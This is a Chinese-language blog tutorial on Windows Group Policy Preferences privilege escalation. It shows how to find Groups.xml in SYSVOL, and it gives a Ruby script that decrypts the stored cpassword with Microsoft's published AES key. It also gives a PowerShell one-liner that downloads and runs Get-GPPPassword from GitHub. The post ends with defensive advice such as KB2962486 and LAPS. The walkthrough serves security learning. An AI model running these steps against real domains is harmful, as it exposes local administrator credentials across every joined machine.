zoukankan      html  css  js  c++  java
  • 关于windows组策略首选项提权

    sysvol是活动目录的一个用于存储公共文件服务器副本的共享文件夹,在域中的所有域控之间进行复制。sysvol文件夹是在安装活动目录时候自动创建的,主要用来存放登录脚本、组策略数据及其他域控需要的域信息。sysvol在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录的域范围内共享。整个sysvol目录在所有的域控中是自动同步和共享的,所有组策略在:C:WindowsSYSVOLdomainPolicies中

     在一般域环境中所有机器都是脚本化批量部署的,数据量很大,为了方便对所有机器进行操作。网管会使用域策略进行统一的配置和管理,大多数组织在创建域环境后会要求加入域的计算机使用域用户密码进行登录验证。为了保证本地管理员的安全性,这些组织的网络管理员往往会修改本地管理员面

    通过组策略修改密码,若攻击者获得一台机器的本地管理员密码,就相当于获取整个域中所有机器的本地管理员密码。

    域控的组策略中新建yangyang组策略

     进入编辑

    如下进行新建

    将域中每个计算机的本地administrator用户更名为 admin,并且设置新的密码Aa123456

    确定后添加domain computers

    更新组策略

    管理员在域中新建一个组策略后,操作系统会自动在SYSVO共享目录中生成一个XML文件,该文件中保存了该组策略更新后的密码。该密码使用AES-256加密算法,安全性还是比较高的。但是,2012年微软在官方网站上公布了该密码的私钥,导致保存在XML文件中的密码的安全性大大降低。任何域用户和域信任的用户均可对该共享目录进行访问,这就意味着,任何用户都可以访问保存在XML文件中的密码并将其解密,从而控制域中所有使用该账号、密码的本地管理员计算机。可通过在SYSVOL中搜索,可以找到Groups.xml文件。

    通过详细信息中的唯一id定位

     

    最终找到如下:
    C:WindowsSYSVOLdomainPolicies{8C4C36A7-7BA1-4F33-B2F5-9ADD814299F3}MachinePreferencesGroups

    密码:6IsqRFD6k9q5fWvZZPGGyAK9njRNN76NKTrLAfsvHGk

    使用msf获取组策略密码如下:

    脚本解密如下:
    require 'rubygems'
    require 'openssl'
    require 'base64'
    encrypted_data = "6IsqRFD6k9q5fWvZZPGGyAK9njRNN76NKTrLAfsvHGk"
    def decrypt(encrypted_data)
        padding = "=" * (4 - (encrypted_data.length % 4))
          epassword = "#{encrypted_data}#{padding}"
            decoded = Base64.decode64(epassword)
               key = "x4ex99x06xe8xfcxb6x6cxc9xfaxf4x93x10x62x0fxfexe8xf4x96xe8x06xccx05x79x90x20x9bx09xa4x33xb6x6cx1b"
                 aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
                   aes.decrypt
                     aes.key = key
                       plaintext = aes.update(decoded)
                         plaintext << aes.final
                           pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
                             return pass
                              end
    blah = decrypt(encrypted_data)
    puts blah

    kali直接利用:

    powershell脚本:
    powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"
    Import-Module .Get-GPPPassword.ps1;Get-GPPPassword


    防御措施:
    在用于管理组策略的计算机上安装 KB2962486补丁,防止新的凭据被放置在组策略首选项中。微软在2014年修复了组策略首选项提权漏洞,使用的方法就是不再将密码保存在组策略首选项中。

    此外,针对Everyone访问权限进行设置,具体如下:
    设置共享文件夹SYSVOL的访问权限
    将包含组策略密码的 XML 文件从 SYSVOL 目录中删除
    不要把密码放在所有域用户都有权访问的文件中
    如果需要更改域中机器的本地管理员密码,建议使用LAPS



  • 相关阅读:
    Node.js安装及环境配置之Windows篇
    C++ STL中Map的按Key排序和按Value排序
    设计模式之观察者模式(c++)
    C/C++回调函数
    c++ string详解 assign
    C++ unsigned long 转化为 unsigned char*
    unsigned char 与unsigned long互换
    微信小程序的登陆流程详解
    谷歌帮:中国最牛的创业帮派
    创业公司打造顶级团队的七个方法
  • 原文地址:https://www.cnblogs.com/Yang34/p/12492270.html
Copyright © 2011-2022 走看看